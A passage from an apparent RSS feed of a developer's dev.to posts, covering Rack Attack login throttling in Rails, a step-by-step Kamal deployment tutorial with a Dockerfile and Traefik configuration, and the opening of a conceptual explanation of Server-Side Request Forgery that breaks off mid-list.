&lt;p&gt;The &lt;code&gt;throttle&lt;/code&gt; call expects the name for the rule and the options as parameters. In the above example, we limit post requests to the &lt;code&gt;/users/sign_in&lt;/code&gt; path to 15 per minute for the IP address.&lt;/p&gt;

&lt;p&gt;We can harden the configuration even more and add another rule to throttle requests with the same email address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;throttle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'logins/email'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;limit: &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;period: &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;minutes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;path&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'/users/sign_in'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post?&lt;/span&gt;
    &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;to_s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;downcase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gsub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/\s+/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;presence&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above rule will throttle login attempts with the same email address to 10 per every minute. This rule prevents brute force attacks.&lt;/p&gt;

&lt;p&gt;These two rules will significantly improve the security posture of your Rails app, but depending on your needs, you can introduce additional throttling easily with &lt;strong&gt;Rack Attack&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>rails</category>
      <category>security</category>
    </item>
    <item>
      <title>Deploying a Rails app with Kamal</title>
      <dc:creator>Greg Molnar</dc:creator>
      <pubDate>Tue, 26 Sep 2023 11:52:05 +0000</pubDate>
      <link>https://dev.to/gregmolnar/deploying-a-rails-app-with-kamal-5107</link>
      <guid>https://dev.to/gregmolnar/deploying-a-rails-app-with-kamal-5107</guid>
      <description>&lt;h2&gt;
  
  
  What is Kamal?
&lt;/h2&gt;

&lt;p&gt;You probably already heard about &lt;a href="https://kamal.dev/"&gt;kamal&lt;/a&gt;, a new tool from DHH to deploy Rails apps with docker containers. It is pretty similar to Capistrano, with the difference of using containers, so preparing the servers is less effort and you don't really need to know much in that area to be able to deploy a Rails app.&lt;/p&gt;

&lt;p&gt;In this tutorial, I will show you how to&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;deploy a Rails app to a VPS&lt;/li&gt;
&lt;li&gt;get automatic SSL certificates with Traefik&lt;/li&gt;
&lt;li&gt;use a hosted database server&lt;/li&gt;
&lt;li&gt;run Redis on the same droplet&lt;/li&gt;
&lt;li&gt;run a worker to process background jobs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You need to point your DNS records to the IP address of the droplet, and they will probably propagate by the time you finish your first deployment.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup Kamal
&lt;/h3&gt;

&lt;p&gt;To set up kamal in your app, you need to install the gem. It doesn't have to be in the Gemfile, just needs to be available in your terminal, so you can just run &lt;code&gt;gem install kamal&lt;/code&gt;. Once that's done, you need to call &lt;code&gt;kamal init --bundle&lt;/code&gt; inside your Rails app:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[~/git/kamal-example] +(main) kamal init --bundle

Created configuration file in config/deploy.yml
Created .env file
Created sample hooks in .kamal/hooks
Adding MRSK to Gemfile and bundle...
  INFO [55b3727e] Running /usr/bin/env bundle add kamal as gregmolnar@localhost
  INFO [55b3727e] Finished in 3.111 seconds with exit status 0 (successful).
  INFO [12808c1a] Running /usr/bin/env bundle binstubs kamal as gregmolnar@localhost
  INFO [12808c1a] Finished in 0.120 seconds with exit status 0 (successful).
Created binstub file in bin/kamal
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first thing I recommend to do is to gitignore the &lt;code&gt;.env&lt;/code&gt; file, so you are not committing your secrets accidentally.&lt;br&gt;&lt;br&gt;
If you don't already have access to a container registry, now is the time to sign up for one. Some hosting providers, like Digital Ocean offer one with a free tier.&lt;br&gt;&lt;br&gt;
After that, let's open the &lt;code&gt;.env&lt;/code&gt; file and add your container registry credentials and your Rails master key.&lt;/p&gt;

&lt;p&gt;If you generated your Rails app with 7.1+, you already have a Dockerfile, but if you are on an older version, you need to create one, and it needs to look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# syntax = docker/dockerfile:1&lt;/span&gt;

&lt;span class="c"&gt;# Make sure RUBY_VERSION matches the Ruby version in .ruby-version and Gemfile&lt;/span&gt;
ARG &lt;span class="nv"&gt;RUBY_VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3.2.2
FROM registry.docker.com/library/ruby:&lt;span class="nv"&gt;$RUBY_VERSION&lt;/span&gt;&lt;span class="nt"&gt;-slim&lt;/span&gt; as base

&lt;span class="c"&gt;# Rails app lives here&lt;/span&gt;
WORKDIR /rails

&lt;span class="c"&gt;# Set production environment&lt;/span&gt;
ENV &lt;span class="nv"&gt;RAILS_ENV&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"production"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nv"&gt;BUNDLE_DEPLOYMENT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nv"&gt;BUNDLE_PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/usr/local/bundle"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nv"&gt;BUNDLE_WITHOUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"development"&lt;/span&gt;


&lt;span class="c"&gt;# Throw-away build stage to reduce size of final image&lt;/span&gt;
FROM base as build

&lt;span class="c"&gt;# Install packages needed to build gems&lt;/span&gt;
RUN apt-get update &lt;span class="nt"&gt;-qq&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--no-install-recommends&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; build-essential git libpq-dev libvips pkg-config curl

&lt;span class="c"&gt;# Install application gems&lt;/span&gt;
COPY Gemfile Gemfile.lock ./
RUN bundle &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; ~/.bundle/ &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BUNDLE_PATH&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;/ruby/&lt;span class="k"&gt;*&lt;/span&gt;/cache &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BUNDLE_PATH&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;/ruby/&lt;span class="k"&gt;*&lt;/span&gt;/bundler/gems/&lt;span class="k"&gt;*&lt;/span&gt;/.git &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    bundle &lt;span class="nb"&gt;exec &lt;/span&gt;bootsnap precompile &lt;span class="nt"&gt;--gemfile&lt;/span&gt;


&lt;span class="c"&gt;# Copy application code&lt;/span&gt;
COPY &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;

&lt;span class="c"&gt;# Precompile bootsnap code for faster boot times&lt;/span&gt;
RUN bundle &lt;span class="nb"&gt;exec &lt;/span&gt;bootsnap precompile app/ lib/

&lt;span class="c"&gt;# Precompiling assets for production without requiring secret RAILS_MASTER_KEY&lt;/span&gt;
RUN &lt;span class="nv"&gt;SECRET_KEY_BASE_DUMMY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 ./bin/rails assets:precompile


&lt;span class="c"&gt;# Final stage for app image&lt;/span&gt;
FROM base

&lt;span class="c"&gt;# Install packages needed for deployment&lt;/span&gt;
RUN apt-get update &lt;span class="nt"&gt;-qq&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--no-install-recommends&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; libvips postgresql-client curl &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /var/lib/apt/lists /var/cache/apt/archives

&lt;span class="c"&gt;# Copy built artifacts: gems, application&lt;/span&gt;
COPY &lt;span class="nt"&gt;--from&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;build /usr/local/bundle /usr/local/bundle
COPY &lt;span class="nt"&gt;--from&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;build /rails /rails

&lt;span class="c"&gt;# Run and own only the runtime files as a non-root user for security&lt;/span&gt;
RUN useradd rails &lt;span class="nt"&gt;--home&lt;/span&gt; /rails &lt;span class="nt"&gt;--shell&lt;/span&gt; /bin/bash &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;chown&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; rails:rails db log storage tmp
USER rails:rails

&lt;span class="c"&gt;# Entrypoint prepares the database.&lt;/span&gt;
ENTRYPOINT &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"/rails/bin/docker-entrypoint"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;

&lt;span class="c"&gt;# Start the server by default, this can be overwritten at runtime&lt;/span&gt;
EXPOSE 3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This Dockerfile configures the base image, the working directory, and the environment variables. It installs the necessary apt packages(make sure &lt;code&gt;curl&lt;/code&gt; is added since it was not in the default Dockefile generated by Rails at the beginning), bundles the gems, copies over the application code, precompiles the assets, creates a non-root user to own the files and run the Rails process, sets the entry point and exposes port 3000.&lt;br&gt;
In the default Rails Dockerfile, there is also a command to start the Rails server, but since we will also have a worker, we will run different commands in the containers and set those in the kamal config file.&lt;/p&gt;

&lt;p&gt;And that is the next one you need to modify. This is what you will end up with. I will break it down below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Name of your application. Used to uniquely configure containers.&lt;/span&gt;
&lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;my_awesome_app&lt;/span&gt;
&lt;span class="c1"&gt;# Name of the container image.&lt;/span&gt;

&lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;container_registry/my_awesome_app&lt;/span&gt;

&lt;span class="c1"&gt;# Deploy to these servers.&lt;/span&gt;
&lt;span class="na"&gt;servers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;web&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;hosts&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;111.11.111.11&lt;/span&gt;
    &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;traefik.http.routers.domain.rule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Host(`yourdomain.com`)&lt;/span&gt;
      &lt;span class="na"&gt;traefik.http.routers.domain.entrypoints&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;websecure&lt;/span&gt;
      &lt;span class="na"&gt;traefik.http.routers.domain.tls.certresolver&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;letsencrypt&lt;/span&gt;
    &lt;span class="na"&gt;options&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;add-host"&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;host.docker.internal:host-gateway&lt;/span&gt;
    &lt;span class="na"&gt;cmd&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;./bin/rails&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;server"&lt;/span&gt;
  &lt;span class="na"&gt;job&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;hosts&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;111.11.111.11&lt;/span&gt;
    &lt;span class="na"&gt;options&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;add-host"&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;host.docker.internal:host-gateway&lt;/span&gt;
    &lt;span class="na"&gt;cmd&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bundle&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;exec&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;sidekiq&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-C&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;config/sidekiq.yml&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-v"&lt;/span&gt;

&lt;span class="c1"&gt;# Credentials for your image host.&lt;/span&gt;
&lt;span class="na"&gt;registry&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="c1"&gt;# Specify the registry server, if you're not using Docker Hub&lt;/span&gt;
  &lt;span class="na"&gt;server&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;registry.digitalocean.com&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;MRSK_REGISTRY_PASSWORD&lt;/span&gt;

  &lt;span class="c1"&gt;# Always use an access token rather than real password when possible.&lt;/span&gt;
  &lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;MRSK_REGISTRY_PASSWORD&lt;/span&gt;

&lt;span class="c1"&gt;# Inject ENV variables into containers (secrets come from .env).&lt;/span&gt;
&lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;clear&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;REDIS_URL&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;redis://host.docker.internal:36379/0"&lt;/span&gt;
  &lt;span class="na"&gt;secret&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;RAILS_MASTER_KEY&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;DATABASE_PASSWORD&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;SMTP_USER&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;SMTP_PASSWORD&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;DO_BUCKET_KEY&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;DO_BUCKET_SECRET&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;DO_BUCKET&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;SIDEKIQ_USERNAME&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;SIDEKIQ_PASSWORD&lt;/span&gt;
&lt;span class="c1"&gt;# Configure builder setup.&lt;/span&gt;
&lt;span class="c1"&gt;# builder:&lt;/span&gt;
&lt;span class="c1"&gt;#   args:&lt;/span&gt;
&lt;span class="c1"&gt;#     RUBY_VERSION: 3.2.0&lt;/span&gt;
&lt;span class="c1"&gt;#   secrets:&lt;/span&gt;
&lt;span class="c1"&gt;#     - GITHUB_TOKEN&lt;/span&gt;
&lt;span class="c1"&gt;#   remote:&lt;/span&gt;
&lt;span class="c1"&gt;#     arch: amd64&lt;/span&gt;
&lt;span class="c1"&gt;#     host: ssh://app@192.168.0.1&lt;/span&gt;
&lt;span class="na"&gt;builder&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;multiarch&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;false&lt;/span&gt;
&lt;span class="c1"&gt;# Use accessory services (secrets come from .env).&lt;/span&gt;
&lt;span class="na"&gt;accessories&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;redis&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;redis:latest&lt;/span&gt;
    &lt;span class="na"&gt;roles&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;web&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;36379:6379"&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/var/lib/redis:/data&lt;/span&gt;
&lt;span class="c1"&gt;# Configure custom arguments for Traefik&lt;/span&gt;
&lt;span class="na"&gt;traefik&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="c1"&gt;# host_port: 8080&lt;/span&gt;
  &lt;span class="na"&gt;options&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;publish&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;443:443"&lt;/span&gt;
    &lt;span class="na"&gt;volume&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/letsencrypt/acme.json:/letsencrypt/acme.json"&lt;/span&gt;
  &lt;span class="na"&gt;args&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;entryPoints.web.address&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:80"&lt;/span&gt;
    &lt;span class="na"&gt;entryPoints.websecure.address&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:443"&lt;/span&gt;
    &lt;span class="na"&gt;entryPoints.web.http.redirections.entryPoint.to&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;websecure&lt;/span&gt;
    &lt;span class="na"&gt;entryPoints.web.http.redirections.entryPoint.scheme&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https&lt;/span&gt;
    &lt;span class="na"&gt;entryPoints.web.http.redirections.entrypoint.permanent&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;true&lt;/span&gt;
    &lt;span class="na"&gt;entrypoints.websecure.http.tls&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;true&lt;/span&gt;
    &lt;span class="s"&gt;entrypoints.websecure.http.tls.domains[0].main&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;yourdomain.com"&lt;/span&gt;
    &lt;span class="na"&gt;certificatesResolvers.letsencrypt.acme.email&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;youremail@domain.com"&lt;/span&gt;
    &lt;span class="na"&gt;certificatesResolvers.letsencrypt.acme.storage&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/letsencrypt/acme.json"&lt;/span&gt;
    &lt;span class="na"&gt;certificatesResolvers.letsencrypt.acme.httpchallenge&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;true&lt;/span&gt;
    &lt;span class="na"&gt;certificatesResolvers.letsencrypt.acme.httpchallenge.entrypoint&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;web&lt;/span&gt;
&lt;span class="c1"&gt;#   args:&lt;/span&gt;
&lt;span class="c1"&gt;#     accesslog: true&lt;/span&gt;
&lt;span class="c1"&gt;#     accesslog.format: json&lt;/span&gt;
&lt;span class="c1"&gt;# Configure a custom healthcheck (default is /up on port 3000)&lt;/span&gt;
&lt;span class="c1"&gt;# healthcheck:&lt;/span&gt;
&lt;span class="c1"&gt;#   path: /healthz&lt;/span&gt;
&lt;span class="c1"&gt;#   port: 4000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this file, you need to specify the name of your app and the image you want to use. Then you can configure servers. In this example, there is a "web" server and a "job" server. They are both running on the same host, so let's make docker to put them on the internal network so they can access each other.&lt;/p&gt;

&lt;p&gt;On the web server, kamal will start a Rails server, and on the job server it will start a Sidekiq process.&lt;/p&gt;

&lt;p&gt;For the web server, we configure the traefik router for Let's Encrypt.&lt;/p&gt;

&lt;p&gt;Then we configure the registry access details, and then we set the environment variables we need. &lt;code&gt;REDIS_URL&lt;/code&gt; is not a secret, so we can just enter it directly. The rest will be pulled from the &lt;code&gt;.env&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;The next step is to configure our builder. If you are on a Linux machine and deploying to Linux servers with the same architecture(like me), you can disable multiarch like in the above example to speed up the build process.&lt;/p&gt;

&lt;p&gt;The next section configures the "accessories". An accessory can be a database server, memcached, etc., or Redis in this case. As for the database, let's use a hosted one by your provider(like Digital Ocean). For Redis, you will use the same VM. &lt;br&gt;&lt;br&gt;
You need to configure the image, set the role you want to put it on, forward the ports to the host, and mount a volume.&lt;/p&gt;

&lt;p&gt;And the final part of this config file sets Traefik to listen on port 80 and 443 and configures Let's Encrypt. You need to adapt the above config with your domain name and email. You also need to SSH to your server and create the acme.json file with the correct permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir -p /letsencrypt &amp;amp;&amp;amp; touch /letsencrypt/acme.json &amp;amp;&amp;amp; chmod 600 /letsencrypt/acme.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One final step is to turn on a firewall, preferably at your provider, and block everything except port 80 and 443, so Treafik and Redis are not accessible from the internet.&lt;/p&gt;

&lt;p&gt;Everything is configured now, and it is time to build the server. For that, you need to call &lt;code&gt;bin/kamal setup&lt;/code&gt; and wait patiently until your first build completes and deploys. Afterward, you can just run &lt;code&gt;bin/kamal deploy&lt;/code&gt; to deploy a new build.&lt;/p&gt;

&lt;p&gt;Once your app is deployed and your DNS records are propagated, you can access your newly deployed application.&lt;/p&gt;

&lt;p&gt;Here are a few handy kamal commands:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If you want to start a Rails console:
&lt;code&gt;kamal app exec -i "bin/rails c"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;If you want to see your logs:
&lt;code&gt;kamal app logs -f&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;If you have a stuck lock file, ssh to the host and delete the &lt;code&gt;kamal_lock&lt;/code&gt; folder&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;kamal --help&lt;/code&gt; lists all the available commands&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I hope this article helps to get your feet wet with kamal.&lt;/p&gt;

</description>
      <category>rails</category>
      <category>kamal</category>
    </item>
    <item>
      <title>Server-Side Request Forgery in Rails</title>
      <dc:creator>Greg Molnar</dc:creator>
      <pubDate>Wed, 19 Jul 2023 14:46:38 +0000</pubDate>
      <link>https://dev.to/gregmolnar/server-side-request-forgery-in-rails-3kn6</link>
      <guid>https://dev.to/gregmolnar/server-side-request-forgery-in-rails-3kn6</guid>
      <description>&lt;h3&gt;
  
  
  What is Server-Side Request Forgery (SSRF), and why is it a concern for web security?
&lt;/h3&gt;

&lt;p&gt;Server-Side Request Forgery is a type of web security vulnerability that allows an attacker to send malicious requests from a vulnerable server to internal or external resources. The attacker can use this vulnerability to access restricted resources, steal sensitive information, and launch further attacks. It can also be used to bypass firewalls and security controls and can be exploited to carry out a wide range of attacks, including data exfiltration, unauthorized access, and service disruption.&lt;/p&gt;

&lt;p&gt;Some of the most common types of attacks that can be carried out using SSRF include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Data exfiltration:&lt;/strong&gt; An attacker can use SSRF to send requests to internal resources, such as databases and file servers, to extract sensitive information. This information might include customer data, financial information, and other confidential data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unauthorized access:&lt;/strong&gt; An attacker can use SSRF to access internal resources that are not intended to be accessible from the internet, such as administrative interfaces and internal networks. This can allow the attacker to gain unauthorized access to sensitive data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Service disruption:&lt;/strong&gt; Bypassing firewalls, an attacker can use SSRF to send a large number of requests to a targeted resource, such as a web server or database, to overload the system and cause a denial of service. This can lead to significant downtime and data loss.&lt;/li&gt;
&lt;li&gt;
